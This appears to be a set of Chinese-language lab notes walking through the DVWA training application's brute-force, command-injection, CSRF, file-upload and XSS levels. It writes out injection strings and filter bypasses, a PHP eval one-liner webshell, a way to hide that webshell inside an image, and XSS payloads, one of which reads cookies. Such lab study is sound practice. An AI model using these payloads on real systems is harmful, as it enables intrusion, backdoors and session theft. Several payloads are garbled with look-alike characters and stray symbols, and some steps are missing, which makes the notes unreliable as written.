force
low
1.首先在点击login的时候,用burpsuit进行抓包
2.发送给intruder
3.点击清除把所有变量清除
分别双击输入的用户名和密码,点击添加,变为有效载荷
选择攻击类型,攻击类型有四种,这里出于实际情况,我们选择第四种集束炸弹的模式
Sniper: 单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
Battering ram: 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
Pichfork: 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
Cluster bamb: 多参数做笛卡尔乘积模式爆破
4.点击有效载荷,添加字典
5.选择长度与其他不一致的,即为正确
6.点开响应 攻击成功
command injection 命令行注入
没有做安全防护,通过接口提交命令执行
常见的:网站本身有网络连接检测功能,在进行执行操作的时候,容易存在注入漏洞
防御
将符号替换成空,或者限制输入,后端格式验证,将四个数字分开,检测是否为数字,再进行拼接;进行去除\转义符
low
1.首先查看源码 有-c 4拼接,可能存在命令行注入
补充说明命令连接符:
&前面一个命令无论是否执行,后面命令都能执行,执行两个命令
&&前面一个执行成功之后,才会执行后面一个
| 无论前面一个命令是否执行成功,后面的命令都能执行,且只执行后面的一个命令
|| 前面一个命令不能正常执行后,才能执行后面一个命令
; 无论第一个是否执行成功,第二个都会被执行
常用cmd命令
whoami 查看当前用户名
ipconfig 查看网卡信息
shutdown -s -t 0 立即关机
net user[user][password] /add 添加一个用户名为user 密码为password的新用户
type[file_name] 查看filename文件内容
2.进行注入 查询出有3个文件,分别是help index.php source
3.进行查询路径
medium
1.查看源码 在这里只是过滤掉两个&和; 所以考虑可以使用单个的&或者| ||进行注入
2.进行注入操作 127.0.0.1 & dir
3.直接使用127.0.0.1| dir进行文件名查询
4.可以进行双写绕过 127.0.0.1&;&pwd
High
1.查看源码 发现在|后面有一个空格
2.进行注入 只要不加空格即可
CSRF
CSRF全称为:Cross-site request forgery,是一种常见的web攻击。在场景中,攻击者会伪造一个请求(通常是一个链接),然后欺骗目标用户点击,用户一旦点击,攻击也就完成了。
指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向服务器发送请求,从而完成非法操作。
与XSS的区别:CSRF是借助用户的权限完成攻击,攻击者并没有拿到权限;而XSS是直接盗取用户权限去进行破坏。
防御
可以加入token验证,并且输入原密码
low
1.本质是一个修改密码的
2.在burpsuit中进行抓包,发现是Get进行传参,将密码修改,页面显示不匹配
3.将修改密码后的url放在这里,发现密码修改成功
file_inclusion
low
文件上传
webshell 网站后门
php一句话代码
<?php @eval($_GET['pass']);?>
php代码写在里面,服务器才能进行解析,符号的意思是不报错,eval将字符串当做php代码执行
low
1.自己创建一个webshell.php进行脚本文件一句话木马书写
2.进行上传
如何利用
1.将…/…/那些东西进行复制,并删除#
2.找到木马位置
)
3.限制文件上传大小
4.压缩上传文件 压缩会导致图片被破坏
5.将上传的文件存储在文件服务器或者其他平台,没在自己原本的服务器上就不会产生攻击
medium
利用bp抓包,从默认的选项,在content-Type里面更改为:image/png就可以注入成功
high
如何把木马加入图片中
1.在当前目录打开cmd
2.复制二进制 1.jpg+webshell.php 2.jpg
3.合并成功
怎么链接
利用其他漏洞进行综合利用
利用file_include
在蚁剑中,添加cookie令牌进行登录
XSS
反射型
用于钓鱼、引流、配合CSRF
特点:只执行一次,非持久型
1.进行注入获取cookie
medium
2.用大写,双写拼接进行绕过
high
1.对所有进行转义 考虑使用其他标签
<img src=1 οnerrοr=(‘1’)>
/i的意思是大小写通用,那就说明不能进行大小写绕过 但可以替换标签
<iframe onload=alert(document.cookie)>
存储型
low
1.name中进行输入长度限制,但可以在message中进行正常打点
medium
high
过滤了有关script的所有,使用其他标签进行绕过
常见标签过滤
<>img src=1 οnerrοr=alert(111);>
<> input οnfοcus=alert(111);> 注意需要点击弹出来的输入框才可以注入成功
<>details open οntοggle=alert(123123); 使用details标签的open属性触发ontoggle事件,不需要用户点击即可触发
<>svg οnlοad=alert(123);>
<>select οnfοcus=alert(123) autofocus>
DOM型
1.更改url进行注入
medium
在本关中,常规的大小写,双写,以及换标签都不能成功
发现我们构造的语句已经被插入到了value当中,不能成功执行的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套我们构造的img标签的,因此我们需要先将前面的select标签和option标签都闭合后才能使用img标签.
high
查看源代码,可以知道此处使用了白名单过滤,只允许 传的 default值 为 French English German Spanish 其中一个。
我们只能找方法绕过服务器端的处理,直接在本地运行我们构造的语句,可以通过“#”来注释掉后面的内容,因为URL栏中的“#”之后的内容不会被发送到服务器当中去,不会经过JS的过滤,只
在客户端显示,可以直接与浏览器进行交互。